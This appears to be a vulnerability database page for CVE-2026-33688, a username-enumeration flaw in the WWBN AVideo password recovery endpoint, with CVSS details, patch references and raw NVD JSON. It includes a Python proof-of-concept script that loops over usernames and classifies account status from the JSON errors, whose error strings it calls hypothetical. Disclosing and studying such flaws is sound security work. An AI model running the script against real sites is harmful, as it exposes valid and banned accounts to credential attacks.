Security Vulnerability Report
中文
CVE-2026-33688 CVSS 5.3 MEDIUM

CVE-2026-33688

Published: 2026-03-23 19:16:42
Last Modified: 2026-03-25 18:05:21

Description

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE
WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL vulnerable endpoint target_url = "http://target-site/objects/userRecoverPass.php" # List of usernames to test usernames = ["admin", "test", "user1", "attacker"] for user in usernames: # Payload typically includes the user parameter # Depending on the actual implementation, parameters might vary (e.g., 'user', 'email', 'recoverPass') data = { "user": user, # Captcha parameter might be optional or bypassed in this logic flow } try: response = requests.post(target_url, data=data) # Analyze the JSON response to determine user status # Example logic based on description: if response.status_code == 200: res_json = response.json() # Hypothetical response keys based on "three distinct JSON error responses" if "error" in res_json: if "User not found" in res_json['error']: print(f"[+] User '{user}': Does not exist") elif "User is inactive" in res_json['error']: print(f"[!] User '{user}': Exists but is INACTIVE") elif "User is banned" in res_json['error']: print(f"[!] User '{user}': Exists but is BANNED") else: print(f"[!] User '{user}': Exists and is ACTIVE (or captcha required next)") except Exception as e: print(f"Error checking user {user}: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33688", "sourceIdentifier": "[email protected]", "published": "2026-03-23T19:16:42.017", "lastModified": "2026-03-25T18:05:21.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de vídeo de código abierto. En versiones hasta la 26.0 inclusive, el endpoint de recuperación de contraseña en 'objects/userRecoverPass.php' realiza comprobaciones de existencia de usuario y estado de cuenta antes de validar el captcha. Esto permite a un atacante no autenticado enumerar nombres de usuario válidos y determinar si las cuentas están activas, inactivas o baneadas — a escala y sin resolver ningún captcha — al observar tres respuestas de error JSON distintas. El commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-204"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/e42f54123b460fd1b2ee01f2ce3d4a386e88d157", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m99f-mmvg-3xmx", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m99f-mmvg-3xmx", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}